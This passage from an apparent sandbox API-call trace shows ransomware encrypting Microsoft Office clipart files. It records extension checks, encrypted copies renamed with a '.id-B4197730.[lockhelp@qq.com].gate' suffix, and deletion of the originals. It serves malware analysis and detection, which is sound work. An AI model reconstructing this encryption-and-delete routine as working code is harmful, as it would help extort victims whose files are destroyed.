dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0319.772] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0319.772] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0319.772] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00135_.gif.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0319.773] GetLastError () returned 0x0 [0319.773] ReadFile (in: hFile=0x360, lpBuffer=0x3e4c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e4c020*, lpNumberOfBytesRead=0x328fecc*=0xa24, lpOverlapped=0x0) returned 1 [0319.774] WriteFile (in: hFile=0x380, lpBuffer=0x3e4c020*, nNumberOfBytesToWrite=0xa30, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e4c020*, lpNumberOfBytesWritten=0x328fc94*=0xa30, lpOverlapped=0x0) returned 1 [0319.775] ReadFile (in: hFile=0x360, lpBuffer=0x3e4c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e4c020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1 [0319.775] WriteFile (in: hFile=0x380, lpBuffer=0x3e4c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e4c020*, lpNumberOfBytesWritten=0x328fc94*=0xec, lpOverlapped=0x0) returned 1 [0319.775] SetEndOfFile (hFile=0x380) returned 1 [0319.775] CloseHandle (hObject=0x380) returned 1 [0319.775] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0319.776] SetEndOfFile (hFile=0x360) returned 1 [0319.776] CloseHandle (hObject=0x360) returned 1 [0319.777] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0319.777] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00135_.gif")) returned 1 [0319.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68 [0319.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68 [0319.777] lstrlenW (lpString=".doc") returned 4 [0319.777] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0319.777] lstrlenW (lpString=".docx") returned 5 [0319.777] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0319.777] lstrlenW (lpString=".pdf") returned 4 [0319.778] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0319.778] lstrlenW (lpString=".xls") returned 4 [0319.778] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0319.778] lstrlenW (lpString=".xlsx") returned 5 [0319.778] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0319.778] lstrlenW (lpString=".ppt") returned 4 [0319.778] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0319.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68 [0319.778] lstrlenW (lpString=".zip") returned 4 [0319.778] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0319.778] lstrlenW (lpString=".rar") returned 4 [0319.778] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0319.778] lstrlenW (lpString=".bz2") returned 4 [0319.778] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0319.778] lstrlenW (lpString=".7z") returned 3 [0319.778] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0319.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68 [0319.778] lstrlenW (lpString=".dbf") returned 4 [0319.778] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0319.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68 [0319.778] lstrlenW (lpString=".1cd") returned 4 [0319.778] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0319.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68 [0319.778] lstrlenW (lpString=".jpg") returned 4 [0319.778] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0319.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68 [0319.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68 [0319.779] lstrlenW (lpString=".doc") returned 4 [0319.779] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0319.779] lstrlenW (lpString=".docx") returned 5 [0319.779] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0319.779] lstrlenW (lpString=".pdf") returned 4 [0319.779] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0319.779] lstrlenW (lpString=".xls") returned 4 [0319.779] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0319.779] lstrlenW (lpString=".xlsx") returned 5 [0319.779] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0319.779] lstrlenW (lpString=".ppt") returned 4 [0319.779] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0319.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68 [0319.779] lstrlenW (lpString=".zip") returned 4 [0319.779] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0319.779] lstrlenW (lpString=".rar") returned 4 [0319.779] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0319.779] lstrlenW (lpString=".bz2") returned 4 [0319.779] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0319.779] lstrlenW (lpString=".7z") returned 3 [0319.779] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0319.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68 [0319.779] lstrlenW (lpString=".dbf") returned 4 [0319.779] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0319.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68 [0319.780] lstrlenW (lpString=".1cd") returned 4 [0319.780] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0319.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68 [0319.780] lstrlenW (lpString=".jpg") returned 4 [0319.780] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0319.780] lstrcmpiW (lpString1=".GIF", lpString2=".gate") returned 1 [0319.780] lstrlenW (lpString="AG00160_.GIF") returned 12 [0319.780] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00160_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0319.780] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=1146) returned 1 [0319.780] CloseHandle (hObject=0x360) returned 1 [0319.780] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00160_.gif")) returned 0x220 [0319.780] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00160_.gif.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0319.781] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00160_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0319.781] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0319.781] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0319.781] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00160_.gif.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0319.781] GetLastError () returned 0x0 [0319.781] ReadFile (in: hFile=0x360, lpBuffer=0x3e4c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e4c020*, lpNumberOfBytesRead=0x328fecc*=0x47a, lpOverlapped=0x0) returned 1 [0319.782] WriteFile (in: hFile=0x380, lpBuffer=0x3e4c020*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e4c020*, lpNumberOfBytesWritten=0x328fc94*=0x480, lpOverlapped=0x0) returned 1 [0319.783] ReadFile (in: hFile=0x360, lpBuffer=0x3e4c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e4c020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1 [0319.784] WriteFile (in: hFile=0x380, lpBuffer=0x3e4c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e4c020*, lpNumberOfBytesWritten=0x328fc94*=0xec, lpOverlapped=0x0) returned 1 [0319.784] SetEndOfFile (hFile=0x380) returned 1 [0319.784] CloseHandle (hObject=0x380) returned 1 [0319.784] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0319.784] SetEndOfFile (hFile=0x360) returned 1 [0319.821] CloseHandle (hObject=0x360) returned 1 [0319.821] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0319.821] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00160_.gif")) returned 1 [0319.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 68 [0319.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 68 [0319.822] lstrlenW (lpString=".doc") returned 4 [0319.822] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0319.822] lstrlenW (lpString=".docx") returned 5 [0319.822] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0319.822] lstrlenW (lpString=".pdf") returned 4 [0319.822] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0319.822] lstrlenW (lpString=".xls") returned 4 [0319.822] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0319.822] lstrlenW (lpString=".xlsx") returned 5 [0319.822] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0319.822] lstrlenW (lpString=".ppt") returned 4 [0319.822] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0319.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 68 [0319.822] lstrlenW (lpString=".zip") returned 4 [0319.822] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0319.823] lstrlenW (lpString=".rar") returned 4 [0319.823] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0319.823] lstrlenW (lpString=".bz2") returned 4 [0319.823] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0319.823] lstrlenW (lpString=".7z") returned 3 [0319.823] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0319.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 68 [0319.823] lstrlenW (lpString=".dbf") returned 4 [0319.823] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0319.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 68 [0319.823] lstrlenW (lpString=".1cd") returned 4 [0319.823] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0319.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 68 [0319.823] lstrlenW (lpString=".jpg") returned 4 [0319.823] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0319.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 68 [0319.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 68 [0319.823] lstrlenW (lpString=".doc") returned 4 [0319.823] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0319.823] lstrlenW (lpString=".docx") returned 5 [0319.823] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0319.823] lstrlenW (lpString=".pdf") returned 4 [0319.823] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0319.823] lstrlenW (lpString=".xls") returned 4 [0319.823] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0319.824] lstrlenW (lpString=".xlsx") returned 5 [0319.824] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0319.824] lstrlenW (lpString=".ppt") returned 4 [0319.824] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0319.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 68 [0319.824] lstrlenW (lpString=".zip") returned 4 [0319.824] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0319.824] lstrlenW (lpString=".rar") returned 4 [0319.824] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0319.824] lstrlenW (lpString=".bz2") returned 4 [0319.824] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0319.824] lstrlenW (lpString=".7z") returned 3 [0319.824] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0319.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 68 [0319.824] lstrlenW (lpString=".dbf") returned 4 [0319.824] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0319.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 68 [0319.824] lstrlenW (lpString=".1cd") returned 4 [0319.824] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0319.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 68 [0319.824] lstrlenW (lpString=".jpg") returned 4 [0319.824] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0319.827] lstrcmpiW (lpString1=".GIF", lpString2=".gate") returned 1 [0319.827] lstrlenW (lpString="AG00161_.GIF") returned 12 [0319.827] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00161_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0319.827] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=7583) returned 1 [0319.827] CloseHandle (hObject=0x360) returned 1 [0319.827] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00161_.gif")) returned 0x220 [0319.827] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00161_.gif.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0319.828] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00161_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0319.828] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0319.828] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0319.828] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00161_.gif.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0319.828] GetLastError () returned 0x0 [0319.828] ReadFile (in: hFile=0x360, lpBuffer=0x3e4c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e4c020*, lpNumberOfBytesRead=0x328fecc*=0x1d9f, lpOverlapped=0x0) returned 1 [0319.829] WriteFile (in: hFile=0x380, lpBuffer=0x3e4c020*, nNumberOfBytesToWrite=0x1da0, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e4c020*, lpNumberOfBytesWritten=0x328fc94*=0x1da0, lpOverlapped=0x0) returned 1 [0319.832] ReadFile (in: hFile=0x360, lpBuffer=0x3e4c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e4c020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1 [0319.832] WriteFile (in: hFile=0x380, lpBuffer=0x3e4c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e4c020*, lpNumberOfBytesWritten=0x328fc94*=0xec, lpOverlapped=0x0) returned 1 [0319.833] SetEndOfFile (hFile=0x380) returned 1 [0319.833] CloseHandle (hObject=0x380) returned 1 [0319.833] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0319.833] SetEndOfFile (hFile=0x360) returned 1 [0319.834] CloseHandle (hObject=0x360) returned 1 [0319.834] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0319.834] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00161_.gif")) returned 1 [0319.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 68 [0319.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 68 [0319.834] lstrlenW (lpString=".doc") returned 4 [0319.834] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0319.834] lstrlenW (lpString=".docx") returned 5 [0319.835] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0319.835] lstrlenW (lpString=".pdf") returned 4 [0319.835] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0319.835] lstrlenW (lpString=".xls") returned 4 [0319.835] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0319.835] lstrlenW (lpString=".xlsx") returned 5 [0319.835] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0319.835] lstrlenW (lpString=".ppt") returned 4 [0319.835] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0319.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 68 [0319.835] lstrlenW (lpString=".zip") returned 4 [0319.835] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0319.835] lstrlenW (lpString=".rar") returned 4 [0319.835] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0319.835] lstrlenW (lpString=".bz2") returned 4 [0319.835] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0319.835] lstrlenW (lpString=".7z") returned 3 [0319.835] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0319.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 68 [0319.835] lstrlenW (lpString=".dbf") returned 4 [0319.835] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0319.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 68 [0319.835] lstrlenW (lpString=".1cd") returned 4 [0319.835] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0319.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 68 [0319.835] lstrlenW (lpString=".jpg") returned 4 [0319.835] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0319.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 68 [0319.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 68 [0319.836] lstrlenW (lpString=".doc") returned 4 [0319.836] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0319.836] lstrlenW (lpString=".docx") returned 5 [0319.836] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0319.836] lstrlenW (lpString=".pdf") returned 4 [0319.836] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0319.836] lstrlenW (lpString=".xls") returned 4 [0319.836] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0319.836] lstrlenW (lpString=".xlsx") returned 5 [0319.836] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0319.836] lstrlenW (lpString=".ppt") returned 4 [0319.836] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0319.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 68 [0319.836] lstrlenW (lpString=".zip") returned 4 [0319.836] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0319.836] lstrlenW (lpString=".rar") returned 4 [0319.836] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0319.836] lstrlenW (lpString=".bz2") returned 4 [0319.836] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0319.836] lstrlenW (lpString=".7z") returned 3 [0319.836] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0319.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 68 [0319.836] lstrlenW (lpString=".dbf") returned 4 [0319.836] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0319.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 68 [0319.836] lstrlenW (lpString=".1cd") returned 4 [0319.836] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0319.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 68 [0319.836] lstrlenW (lpString=".jpg") returned 4 [0319.837] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0319.837] lstrcmpiW (lpString1=".GIF", lpString2=".gate") returned 1 [0319.837] lstrlenW (lpString="AG00163_.GIF") returned 12 [0319.837] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00163_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0319.837] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=6984) returned 1 [0319.837] CloseHandle (hObject=0x360) returned 1 [0319.837] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00163_.gif")) returned 0x220 [0319.837] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00163_.gif.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0319.837] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00163_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0319.837] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0319.837] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0319.838] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program 